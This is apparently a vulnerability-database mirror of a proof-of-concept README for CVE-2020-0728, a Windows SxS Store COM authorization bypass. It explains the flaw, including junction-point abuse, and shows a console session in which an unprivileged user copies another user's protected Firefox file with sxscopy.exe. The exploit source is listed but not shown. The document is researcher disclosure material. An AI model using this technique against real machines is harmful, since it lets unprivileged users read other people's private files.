CVE-2020-0728 PoC — Microsoft Windows 信息泄露漏洞

Source

Associated Vulnerability

Description

Proof of Concept code for CVE-2020-0728

Readme

CVE-2020-0728
=============

Details
-------

The `TrustedInstaller.exe` service is running as `NT_AUTHORITY\SYSTEM` and is hosting the Sxs Store Class (`3C6859CE-230B-48A4-BE6C-932C0C202048`) COM service along with the interface `ISxsStore`. 
The access permissions (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) of this service grants access to any users 
on the local system.
The `ISxsStore` interface exposes 4 methods:

```
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
```

Upon invocation, the implementation calls out to the `ICbsWorker` interface hosted by `TiWorker.exe` (again, running as `NT_AUTHORITY\SYSTEM`) to obtain an `ICbsSession8` session
and then practically calls the same methods on this interface.
The real logic is implemented in the `sxsstore.dll` library; authorization can be found in `CSxsStore::BeginAssemblyInstall`:

```
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
```

This is done using `CoImpersonateClient`+`CheckTokenMembership` calls.

The problem is, if the session hosted by the `TiWorker.exe` process is invoked via the `TrustedInstaller.exe` wrapper, the authorization logic implemented always encounters connections from `NT_AUTHORITY\SYSTEM`
and thus grants access to anyone.

The assemblies requested to be installed are placed under `C:\Windows\WinSXS` by the implementation residing in `wcp.dll` (`Windows::COM::CComponentStore::InternalTransact`) and
seems to feature sufficient security measures to protect these method calls to escape from this legitimate destination directory, but the source files referenced by the 
manifest can be abused via junction points.

This can be exploited to bypass file system DAC and read any files on the local filesystem as demonstrated below:


```
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2
```

The wcp framework is actually quite complex and and features various 'installers' (e.g. GenericCommand execution among the 'advanced' ones), 
but the interface accessible above seems to be limited to only the 'primitive installers'. I could trigger executing 
`CRegistryInstaller::CommitChanges` that emitted log to `C:\Windows\Logs\CBS\CBS.log`, lines like:

```
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values
```

But it actually never really called any API methods to change anything in the registry. 


Credits
-------
The report above along with the PoC code was submitted by Imre Rad but was also identified by researchers of NCC (actually a few months earlier).

Links
-----
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

File Snapshot

 [4.0K]  /data/pocs/7dec0a81ad1814a759a2daa21f3af6a8ce6b3e0a
├── [4.0K]  bin
│   ├── [7.4K]  sxscopy.cat
│   ├── [ 98K]  sxscopy.exe
│   └── [ 89K]  sxsrunmf.exe
├── [5.1K]  README.md
├── [4.0K]  sxscopy
│   ├── [7.4K]  sxscopy.cat
│   ├── [7.5K]  sxscopy.cpp
│   ├── [7.3K]  sxscopy.vcxproj
│   ├── [ 942]  sxscopy.vcxproj.filters
│   └── [ 399]  sxscopy.vcxproj.user
├── [1.4K]  sxscopy.sln
├── [4.0K]  sxsrunmf
│   ├── [6.0K]  sxsrunmf.cpp
│   ├── [7.3K]  sxsrunmf.vcxproj
│   ├── [ 943]  sxsrunmf.vcxproj.filters
│   └── [ 162]  sxsrunmf.vcxproj.user
└── [2.1K]  sxsrunmf.sln

3 directories, 15 files

Remarks